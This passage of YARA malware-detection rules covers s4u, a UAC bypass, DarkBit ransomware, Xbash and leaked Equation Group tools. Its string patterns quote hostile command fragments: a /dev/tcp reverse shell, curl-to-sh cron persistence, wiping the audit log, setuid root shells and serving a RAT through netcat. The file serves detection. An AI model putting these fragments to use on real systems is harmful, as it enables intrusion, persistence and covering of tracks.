		$s1 = "%userprofile%\\Downloads\\dwmapi.dll" fullword ascii
		$s2 = "%windir%\\system32\\dwmapi.dll" fullword ascii
		$s3 = "Infection module: %s" fullword ascii
		$s4 = "Could not save module to %s" fullword ascii
		$s5 = "%s%s%p%s%ld%s%d%s" fullword ascii
		$s6 = "Stack area around _alloca memory reserved by this function is corrupted" fullword ascii
		$s7 = "Stack around the variable '" fullword ascii
		$s8 = "MSVCR120D.dll" fullword wide
		$s9 = "Address: 0x" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 172KB and ( $x1 or 8 of ( $s* ) )
}

rule s4u
{
	meta:
		description = "Detects s4u executable which allows the creation of a cmd.exe with the context of any user without requiring the password. - file s4u.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/aurel26/s-4-u-for-windows"
		date = "2015-06-05"
		hash = "cfc18f3d5306df208461459a8e667d89ce44ed77"
		score = 50
		id = "0d746311-56fe-538c-946c-3a3dd1603adc"

	strings:
		$x0 = "s4u.exe Domain\\Username [Extra SID]" fullword ascii
		$x1 = "\\Release\\s4u.pdb" ascii
		$s0 = "CreateProcessAsUser failed (error %u)." fullword ascii
		$s1 = "GetTokenInformation failed (error: %u)." fullword ascii
		$s2 = "LsaLogonUser failed (error 0x%x)." fullword ascii
		$s3 = "LsaLogonUser: OK, LogonId: 0x%x-0x%x" fullword ascii
		$s4 = "LookupPrivilegeValue failed (error: %u)." fullword ascii
		$s5 = "The token does not have the specified privilege (%S)." fullword ascii
		$s6 = "Unable to parse command line." fullword ascii
		$s7 = "Unable to find logon SID." fullword ascii
		$s8 = "AdjustTokenPrivileges failed (error: %u)." fullword ascii
		$s9 = "AdjustTokenPrivileges (%S): OK" fullword ascii
		$g1 = "%systemroot%\\system32\\cmd.exe" wide
		$g2 = "SeTcbPrivilege" wide
		$g3 = "winsta0\\default" wide
		$g4 = ".rsrc"
		$g5 = "HeapAlloc"
		$g6 = "GetCurrentProcess"
		$g7 = "HeapFree"
		$g8 = "GetProcessHeap"
		$g9 = "ExpandEnvironmentStrings"
		$g10 = "ConvertStringSidToSid"
		$g11 = "LookupPrivilegeValue"
		$g12 = "AllocateLocallyUniqueId"
		$g13 = "ADVAPI32.dll"
		$g14 = "LsaLookupAuthenticationPackage"
		$g15 = "Secur32.dll"
		$g16 = "MSVCR120.dll"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 60KB and ( 1 of ( $x* ) or all of ( $s* ) or all of ( $g* ) )
}

rule UACME_Akagi_2
{
	meta:
		description = "Detects Windows User Account Control Bypass - from files Akagi32.exe, Akagi64.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/hfiref0x/UACME"
		date = "2017-02-03"
		hash1 = "caf744d38820accb48a6e50216e547ed2bb3979604416dbcfcc991ce5e18f4ca"
		hash2 = "609e9b15114e54ffc40c05a8980cc90f436a4a77c69f3e32fe391c0b130ff1c5"
		score = 80
		id = "1177d663-1081-5d17-9dd7-1218d95d90f7"

	strings:
		$x1 = "Usage: Akagi.exe [Method] [OptionalParamToExecute]" fullword wide
		$x2 = "[UCM] Target file already exists, abort" fullword wide
		$s1 = "MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options" fullword wide
		$s2 = "Akagi.exe" fullword wide
		$s3 = "Elevation:Administrator!new:{3AD05575-8857-4850-9277-11B85BDB8E09}" fullword wide
		$s4 = "/c wusa %ws /extract:%%windir%%\\system32\\sysprep" fullword wide
		$s5 = "/c wusa %ws /extract:%%windir%%\\system32\\migwiz" fullword wide
		$s6 = "loadFrom=\"%systemroot%\\system32\\sysprep\\cryptbase.DLL\"" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 900KB and ( 1 of ( $x* ) or 3 of ( $s* ) ) ) or ( 6 of them )
}

rule MAL_RANSOM_DarkBit_Feb23_1
{
	meta:
		description = "Detects indicators found in DarkBit ransomware"
		author = "Florian Roth"
		reference = "https://twitter.com/idonaor1/status/1624703255770005506?s=12&t=mxHaauzwR6YOj5Px8cIeIw"
		date = "2023-02-13"
		score = 75
		id = "d209a0c2-f649-5fb1-9ecd-f1c35caa796f"

	strings:
		$s1 = ".onion" ascii
		$s2 = "GetMOTWHostUrl"
		$x1 = "hus31m7c7ad.onion"
		$x2 = "iw6v2p3cruy"
		$xn1 = "You will receive decrypting key after the payment."

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 10MB and ( 1 of ( $x* ) or 2 of them ) or 4 of them or ( filesize < 10MB and $xn1 )
}

rule MAL_RANSOM_DarkBit_Feb23_2
{
	meta:
		description = "Detects Go based DarkBit ransomware (garbled code; could trigger on other obfuscated samples, too)"
		author = "Florian Roth"
		reference = "https://www.hybrid-analysis.com/sample/9107be160f7b639d68fe3670de58ed254d81de6aec9a41ad58d91aa814a247ff?environmentId=160"
		date = "2023-02-13"
		score = 75
		hash1 = "9107be160f7b639d68fe3670de58ed254d81de6aec9a41ad58d91aa814a247ff"
		id = "f530815c-68e7-55f1-8e36-bc74a1059584"

	strings:
		$s1 = "runtime.initLongPathSupport" ascii fullword
		$s2 = "reflect." ascii
		$s3 = "    \"processes\": []," ascii fullword
		$s4 = "^!* %!(!" ascii fullword
		$op1 = { 4d 8b b6 00 00 00 00 48 8b 94 24 40 05 00 00 31 c0 87 82 30 03 00 00 b8 01 00 00 00 f0 0f c1 82 00 03 00 00 48 8b 44 24 48 48 8b 0d ba 1f 32 00 }
		$op2 = { 49 8d 49 01 0f 1f 00 48 39 d9 7c e2 b9 0b 00 00 00 49 89 d8 e9 28 fc ff ff e8 89 6c d7 ff }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 20000KB and all of them
}

rule SUSP_Macro_StarOffice
{
	meta:
		description = "Suspicious macro in StarOffice"
		author = "John Lambert @JohnLaTwC"
		date = "2019-02-06"
		modified = "2021-05-27"
		score = 60
		reference = "https://twitter.com/JohnLaTwC/status/1093259873993732096"
		hash1 = "8495d37825dab8744f7d2c8049fc6b70b1777b9184f0abe69ce314795480ce39"
		hash2 = "25b4214da1189fd30d3de7c538aa8b606f22c79e50444e5733fb1c6d23d71fbe"
		hash3 = "322f314102f67a16587ab48a0f75dfaf27e4b044ffdc3b88578351c05b4f39db"
		hash4 = "705429725437f7e0087a6159708df97992abaadff0fa48fdf25111d34a3e2f20"
		hash5 = "7141d94e827d3b24810813d6b2e3fb851da0ee2958ef347154bc28153b23874a"
		hash6 = "7c0e85c0a4d96080ca341d3496743f0f113b17613660812d40413be6d453eab4"
		hash7 = "8d59f1e2abcab9efb7f833d478d1d1390e7456092f858b656ee0024daf3d1aa3"
		hash8 = "9846b942d9d1e276c95361180e9326593ea46d3abcce9c116c204954bbfe3fdc"
		hash9 = "aa0c83f339c8c16ad21dec41e4605d4e327adbbb78827dcad250ed64d2ceef1c"
		hash10 = "b0be54c7210b06e60112a119c235e23c9edbe40b1c1ce1877534234f82b6b302"
		hash11 = "bf581ebb96b8ca4f254ab4d200f9a053aff8187715573d9a1cbd443df0f554e3"
		hash12 = "de45634064af31cb6768e4912cac284a76a6e66d398993df1aeee8ce26e0733b"
		id = "92110a87-66b4-5fc5-b3f5-3e59ec2671b2"

	strings:
		$r1 = "StarBasic"
		$r2 = "</script:module>"
		$s1 = "Shell" nocase
		$s2 = ".Run" nocase
		$s3 = ".PutInClipboard" nocase
		$s4 = "powershell" nocase
		$fp1 = "LibreOffice project" ascii

	condition:
		filesize < 1MB and uint32be( 0 ) == 0x3c3f786d and all of ( $r* ) and 1 of ( $s* ) and not 1 of ( $fp* )
}

rule MAL_Xbash_PY_Sep18
{
	meta:
		description = "Detects Xbash malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/"
		date = "2018-09-18"
		hash1 = "7a18c7bdf0c504832c8552766dcfe0ba33dd5493daa3d9dbe9c985c1ce36e5aa"
		id = "97512fe8-002f-5cbc-a915-d55c087fbef7"

	strings:
		$s1 = { 73 58 62 61 73 68 00 00 00 00 00 00 00 00 }

	condition:
		uint16( 0 ) == 0x457f and filesize < 10000KB and 1 of them
}

rule MAL_Xbash_SH_Sep18
{
	meta:
		description = "Detects Xbash malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/"
		date = "2018-09-18"
		modified = "2023-01-06"
		hash1 = "a27acc07844bb751ac33f5df569fd949d8b61dba26eb5447482d90243fc739af"
		hash2 = "de63ce4a42f06a5903b9daa62b67fcfbdeca05beb574f966370a6ae7fd21190d"
		id = "450ef15f-fe9c-5809-9077-457a43326bfe"

	strings:
		$s1 = "echo \"*/5 * * * * curl -fsSL" fullword ascii
		$s2 = ".sh|sh\" > /var/spool/cron/root" ascii
		$s3 = "#chmod +x /tmp/hawk" fullword ascii
		$s4 = "if [ ! -f \"/tmp/root.sh\" ]" fullword ascii
		$s5 = ".sh > /tmp/lower.sh" ascii
		$s6 = "chmod 777 /tmp/root.sh" fullword ascii
		$s7 = "-P /tmp && chmod +x /tmp/pools.txt" fullword ascii
		$s8 = "-C /tmp/pools.txt>/dev/null 2>&1" ascii

	condition:
		uint16( 0 ) == 0x2123 and filesize < 3KB and 1 of them
}

rule MAL_Xbash_JS_Sep18
{
	meta:
		description = "Detects XBash malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/"
		date = "2018-09-18"
		modified = "2023-01-06"
		hash1 = "f888dda9ca1876eba12ffb55a7a993bd1f5a622a30045a675da4955ede3e4cb8"
		id = "e891d146-f92d-5144-a1f2-ad308e309870"

	strings:
		$s1 = "var path=WSHShell" fullword ascii
		$s2 = "var myObject= new ActiveXObject(" ascii
		$s3 = "window.resizeTo(0,0)" fullword ascii
		$s4 = "<script language=\"JScript\">" fullword ascii

	condition:
		filesize < 5KB and 3 of them
}

rule MAL_RTF_Embedded_OLE_PE
{
	meta:
		description = "Detects a suspicious string often used in PE files in a hex encoded object stream"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.nextron-systems.com/2018/01/22/creating-yara-rules-detect-embedded-exe-files-ole-objects/"
		date = "2018-01-22"
		modified = "2023-11-25"
		score = 65
		id = "20044f08-9574-5baf-b91e-47613e490d62"

	strings:
		$a1 = "546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f6465" ascii
		$a2 = "4b45524e454c33322e646c6c" ascii
		$a3 = "433a5c66616b65706174685c" ascii
		$m3 = "4d5a40000100000006000000ffff"
		$m2 = "4d5a50000200000004000f00ffff"
		$m1 = "4d5a90000300000004000000ffff"

	condition:
		uint32be( 0 ) == 0x7B5C7274 and 1 of them
}

rule EquationGroup_emptycriss
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file emptycriss"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "a698d35a0c4d25fd960bd40c1de1022bb0763b77938bf279e91c9330060b0b91"
		id = "658a0a2c-ea3a-5531-abea-54f0ed786e79"

	strings:
		$s1 = "./emptycriss <target IP>" fullword ascii
		$s2 = "Cut and paste the following to the telnet prompt:" fullword ascii
		$s8 = "environ define TTYPROMPT abcdef" fullword ascii

	condition:
		( filesize < 50KB and 1 of them )
}

rule EquationGroup_scripme
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file scripme"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "a1adf1c1caad96e7b7fd92cbf419c4cfa13214e66497c9e46ec274a487cd098a"
		id = "a2c5cd8b-c104-57d9-9ce2-a0b9a8dd9288"

	strings:
		$x1 = "running \\\"tcpdump -n -n\\\", on the environment variable \\$INTERFACE, scripted" fullword ascii
		$x2 = "Cannot read $opetc/scripme.override -- are you root?" ascii
		$x3 = "$ENV{EXPLOIT_SCRIPME}" ascii
		$x4 = "$opetc/scripme.override" ascii

	condition:
		( filesize < 30KB and 1 of them )
}

rule EquationGroup_cryptTool
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file cryptTool"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "96947ad30a2ab15ca5ef53ba8969b9d9a89c48a403e8b22dd5698145ac6695d2"
		id = "e1f4e010-9c42-5b8a-8feb-2885b99307fe"

	strings:
		$s1 = "The encryption key is " fullword ascii
		$s2 = "___tempFile2.out" ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 200KB and all of them )
}

rule EquationGroup_dumppoppy
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file dumppoppy"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "4a5c01590063c78d03c092570b3206fde211daaa885caac2ab0d42051d4fc719"
		id = "c316aac3-bdd7-5187-8ae2-0a87c2f2d26f"

	strings:
		$x1 = "Unless the -c (clobber) option is used, if two RETR commands of the" fullword ascii
		$x2 = "mywarn(\"End of $destfile determined by \\\"^Connection closed by foreign host\\\"\")" fullword ascii
		$l1 = "End of $destfile determined by \"^Connection closed by foreign host"

	condition:
		( filesize < 20KB and 1 of them )
}

rule EquationGroup_Auditcleaner
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file Auditcleaner"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "8c172a60fa9e50f0df493bf5baeb7cc311baef327431526c47114335e0097626"
		id = "39ed798a-221d-5a4b-8809-db01d5241418"

	strings:
		$x1 = "> /var/log/audit/audit.log; rm -f ." ascii
		$x2 = "Pastables to run on target:" ascii
		$x3 = "cp /var/log/audit/audit.log .tmp" ascii
		$l1 = "Here is the first good cron session from" fullword ascii
		$l2 = "No need to clean LOGIN lines." fullword ascii

	condition:
		( filesize < 300KB and 1 of them )
}

rule EquationGroup_reverse_shell
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file reverse.shell.script"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "d29aa24e6fb9e3b3d007847e1630635d6c70186a36c4ab95268d28aa12896826"
		id = "0e9b8ff2-2187-5b61-a086-2ad4ff1a3b10"

	strings:
		$s1 = "sh >/dev/tcp/" ascii
		$s2 = " <&1 2>&1" fullword ascii

	condition:
		( filesize < 1KB and all of them )
}

rule EquationGroup_tnmunger
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file tnmunger"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "1ab985d84871c54d36ba4d2abd9168c2a468f1ba06994459db06be13ee3ae0d2"
		id = "c95dd24f-ffc9-5e58-aed7-205daa001b8c"

	strings:
		$s1 = "TEST: mungedport=%6d  pp=%d  unmunged=%6d" fullword ascii
		$s2 = "mungedport=%6d  pp=%d  unmunged=%6d" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 10KB and 1 of them )
}

rule EquationGroup_ys_ratload
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file ys.ratload.sh"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "a340e5b5cfd41076bd4d6ad89d7157eeac264db97a9dddaae15d935937f10d75"
		id = "abd120e7-23f8-530e-b21e-c50a2b571332"

	strings:
		$x1 = "echo \"example: ${0} -l 192.168.1.1 -p 22222 -x 9999\"" fullword ascii
		$x2 = "-x [ port to start mini X server on DEFAULT = 12121 ]\"" fullword ascii
		$x3 = "CALLBACK_PORT=32177" fullword ascii

	condition:
		( uint16( 0 ) == 0x2123 and filesize < 3KB and 1 of them )
}

rule EquationGroup_eh_1_1_0
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file eh.1.1.0.0"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "0f8dd094516f1be96da5f9addc0f97bcac8f2a348374bd9631aa912344559628"
		id = "a6f0ec1f-b0e5-5913-970d-9cdadf647c44"

	strings:
		$x1 = "usage: %s -e -v -i target IP [-c Cert File] [-k Key File]" fullword ascii
		$x2 = "TYPE=licxfer&ftp=%s&source=/var/home/ftp/pub&version=NA&licfile=" ascii
		$x3 = "[-l Log File] [-m save MAC time file(s)] [-p Server Port]" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 100KB and 1 of them )
}

rule EquationGroup_evolvingstrategy_1_0_1
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file evolvingstrategy.1.0.1.1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "fe70e16715992cc86bbef3e71240f55c7d73815b4247d7e866c845b970233c1b"
		id = "465f709b-1791-5b36-836b-7a0c08bb9b88"

	strings:
		$s1 = "chown root sh; chmod 4777 sh;" fullword ascii
		$s2 = "cp /bin/sh .;chown root sh;" fullword ascii
		$l1 = "echo clean up when elevated:" fullword ascii
		$x1 = "EXE=$DIR/sbin/ey_vrupdate" fullword ascii

	condition:
		( filesize < 4KB and 1 of them )
}

rule EquationGroup_toast_v3_2_0
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file toast_v3.2.0.1-linux"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "2ce2d16d24069dc29cf1464819a9dc6deed38d1e5ffc86d175b06ddb691b648b"
		id = "776014ae-be94-5d81-bceb-fefb67ee1994"

	strings:
		$x2 = "Del --- Usage: %s -l file -w wtmp -r user" fullword ascii
		$s5 = "Roasting ->%s<- at ->%d:%d<-" ascii
		$s6 = "rbnoil -Roasting ->" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 50KB and 1 of them )
}

rule EquationGroup_sshobo
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file sshobo"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "c7491898a0a77981c44847eb00fb0b186aa79a219a35ebbca944d627eefa7d45"
		id = "b9392aec-34a8-5ad2-b3fd-eea907d19701"

	strings:
		$x1 = "Requested forwarding of port %d but user is not root." fullword ascii
		$x2 = "internal error: we do not read, but chan_read_failed for istate" fullword ascii
		$x3 = "~#  - list forwarded connections" fullword ascii
		$x4 = "packet_inject_ignore: block" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 600KB and all of them )
}

rule EquationGroup_magicjack_v1_1_0_0_client_1_1_0_0
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file magicjack_v1.1.0.0_client-1.1.0.0.py"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "63292a2353275a3bae012717bb500d5169cd024064a1ce8355ecb4e9bfcdfdd1"
		id = "008cb5cf-1d2d-5312-9474-2f93db190974"

	strings:
		$x1 = "result = self.send_command(\"ls -al %s\" % self.options.DIR)" fullword ascii
		$x2 = "cmd += \"D=-l%s \" % self.options.LISTEN_PORT" fullword ascii

	condition:
		( uint16( 0 ) == 0x2123 and filesize < 80KB and 1 of them )
}

rule EquationGroup_packrat
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file packrat"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "d3e067879c51947d715fc2cf0d8d91c897fe9f50cae6784739b5c17e8a8559cf"
		id = "4c0619c4-728f-591f-aa02-7c28f1f42fd1"

	strings:
		$x2 = "Use this on target to get your RAT:" fullword ascii
		$x3 = "$ratremotename && " fullword ascii
		$x5 = "$command = \"$nc$bindto -vv -l -p $port < ${ratremotename}\" ;" fullword ascii

	condition:
		( filesize < 70KB and 1 of them )
}

rule EquationGroup_telex
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file telex"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "e9713b15fc164e0f64783e7a2eac189a40e0a60e2268bd7132cfdc624dfe54ef"
		id = "23571734-869d-5d68-9339-d82f168c2e47"

	strings:
		$x1 = "usage: %s -l [ netcat listener ] [ -p optional target port instead of 23 ] <ip>" fullword ascii
		$x2 = "target is not vulnerable. exiting" fullword ascii
		$s3 = "Sending final buffer: evil_blocks and shellcode..." fullword ascii
		$s4 = "Timeout waiting for daemon to die.  Exploit probably failed." fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 50KB and 1 of them )
}

rule EquationGroup_calserver
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file calserver"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "048625e9a0ca46d7fe221e262c8dd05e7a5339990ffae2fb65a9b0d705ad6099"
		id = "abe935ee-8579-54f0-b6d3-172d6e2c0482"

	strings:
		$x1 = "usage: %s <host> <port> e <contents of a local file to be executed on target>" fullword ascii
		$x2 = "Writing your %s to target." fullword ascii
		$x3 = "(e)xploit, (r)ead, (m)ove and then write, (w)rite" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 30KB and 1 of them )
}

rule EquationGroup_porkclient
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file porkclient"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "5c14e3bcbf230a1d7e2909876b045e34b1486c8df3c85fb582d9c93ad7c57748"
		id = "5b34d5f9-bc76-5cc7-92f7-32c2b7ef7bcf"

	strings:
		$s1 = "-c COMMAND: shell command string" fullword ascii
		$s2 = "Cannot combine shell command mode with args to do socket reuse" fullword ascii
		$s3 = "-r: Reuse socket for Nopen connection (requires -t, -d, -f, -n, NO -c)" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 30KB and 1 of them )
}

rule EquationGroup_electricslide
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file electricslide"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "d27814b725568fa73641e86fa51850a17e54905c045b8b31a9a5b6d2bdc6f014"
		id = "5b1e5293-806a-58e6-b865-66025c8d8c32"

	strings:
		$x1 = "Firing with the same hosts, on altername ports (target is on 8080, listener on 443)" fullword ascii
		$x2 = "Recieved Unknown Command Payload: 0x%x" fullword ascii
		$x3 = "Usage: eslide   [options] <-t profile> <-l listenerip> <targetip>" fullword ascii
		$x4 = "-------- Delete Key - Remove a *closed* tab" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 2000KB and 1 of them )
}

rule EquationGroup_libXmexploit2
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file libXmexploit2.8"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "d7ed0234d074266cb37dd6a6a60119adb7d75cc6cc3b38654c8951b643944796"
		id = "30e94123-acc9-5185-9f5b-1f956c4cf3d1"

	strings:
		$s1 = "Usage: ./exp command display_to_return_to" fullword ascii
		$s2 = "sizeof shellcode = %d" fullword ascii
		$s3 = "Execve failed!" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 40KB and 1 of them )
}

rule EquationGroup_wrap_telnet
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file wrap-telnet.sh"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "4962b307a42ba18e987d82aa61eba15491898978d0e2f0e4beb02371bf0fd5b4"
		id = "158e6ebc-6b43-5e94-9052-31408d848875"

	strings:
		$s1 = "echo \"example: ${0} -l 192.168.1.1 -p 22222 -s 22223 -x 9999\"" fullword ascii
		$s2 = "-x [ port to start mini X server on DEFAULT = 12121 ]\"" fullword ascii
		$s3 = "echo \"Call back port2 = ${SPORT}\"" fullword ascii

	condition:
		( uint16( 0 ) == 0x2123 and filesize < 4KB and 1 of them )
}

rule EquationGroup_elgingamble
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file elgingamble"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "0573e12632e6c1925358f4bfecf8c263dd13edf52c633c9109fe3aae059b49dd"
		id = "fc8a63a1-9deb-5051-a02d-ed26fd1cae95"

	strings:
		$x1 = "* * * * * root chown root %s; chmod 4755 %s; %s" fullword ascii
		$x2 = "[-] kernel not vulnerable" fullword ascii
		$x3 = "[-] failed to spawn shell: %s" fullword ascii
		$x4 = "-s shell           Use shell instead of %s" fullword ascii

	condition:
		1 of them
}

rule EquationGroup_cmsd
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file cmsd"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "634c50614e1f5f132f49ae204c4a28f62a32a39a3446084db5b0b49b564034b8"
		id = "9cdd3562-fed4-5b79-b056-049279404eeb"

	strings:
		$x1 = "usage: %s address [-t][-s|-c command] [-p port] [-v 5|6|7]" fullword ascii
		$x2 = "error: not vulnerable" fullword ascii
		$s1 = "port=%d connected! " fullword ascii
		$s2 = "xxx.XXXXXX" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 30KB and 1 of ( $x* ) ) or ( 2 of them )
}

rule EquationGroup_ebbshave
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file ebbshave.v5"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "eb5e0053299e087c87c2d5c6f90531cc1946019c85a43a2998c7b66a6f19ca4b"
		id = "6d4c14e2-afb1-57ce-91df-cb024258250e"

	strings:
